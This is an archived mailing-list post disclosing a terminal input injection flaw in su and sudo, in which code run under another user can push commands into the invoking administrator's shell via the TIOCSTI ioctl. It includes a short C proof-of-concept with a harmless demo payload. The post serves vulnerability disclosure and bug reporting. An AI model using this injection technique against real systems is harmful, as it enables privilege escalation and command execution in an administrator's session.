[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

su/sudo arbitrary character injection in keyboard buffer [Was: init scripts and su]


I've filed bugs against su (package `login') & sudo.  I've made a simple
proof-of-concept program (attached).  Despite of what has been said
earlier, it can ioctl(0,TIOCSTI,&c), even after fork(). It's important
to realize that the actual mechanism of making the ioctl()s happen is
not as interesting as the fact, that a code from one security domain is
allowed to write and execute (and read--is there a similar ioctl() for
reading, so for example getty spoofing/password harvesting would be
possible?) in another security domain.

However, the only thing the attacker will have to do after owning
particular service run from /etc/init.d (provided it's vulnerable), is
to crash it, and wait until the admin notices that and decides to
restart it.

Not only TIOCSTI is a problem: all reading/writing from/to the tty, as
well as executing is not always what is expected/ok, after the program
ends/detaches from the controlling tty.

Last but not least, can someone check whether super and other similar
programs are vulnerable, and file bugs if they are?


   "To me, clowns aren't funny. In fact, they're kind of scary. I've wondered
 where this started and I think it goes back to the time I went to the circus,
			  and a clown killed my dad."
 * sploit-poc.c -- su/sudo arbitrary character injection POC 
 * Usage:
 *   % gcc -o su-sploit-poc su-sploit-poc.c
 *   % su <user> -c ./su-sploit-poc&
 *   % sudo -u <user> ./su-sploit-poc&

#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/types.h>

main (void) {
  char *payload = "date\necho 'Hello, world!'";
  int c, i;
  pid_t pid;

  if ((pid = fork()) == 0) {
      return 0;
  } else if (pid == -1) {
      perror ("Can't fork");
      return 1;
  } else {
      sleep (1);
      /* Keep stuffing characters into the keyboard buffer... */
      for (i=0; (c = payload[i]) != '\0'; i++) {
	  if (ioctl (0, TIOCSTI, &c) == -1) {
	      perror ("ioctl() failed");
	      return 1;
  return 0;

Attachment: pgpomgCuU_T1C.pgp
Description: PGP signature

Reply to: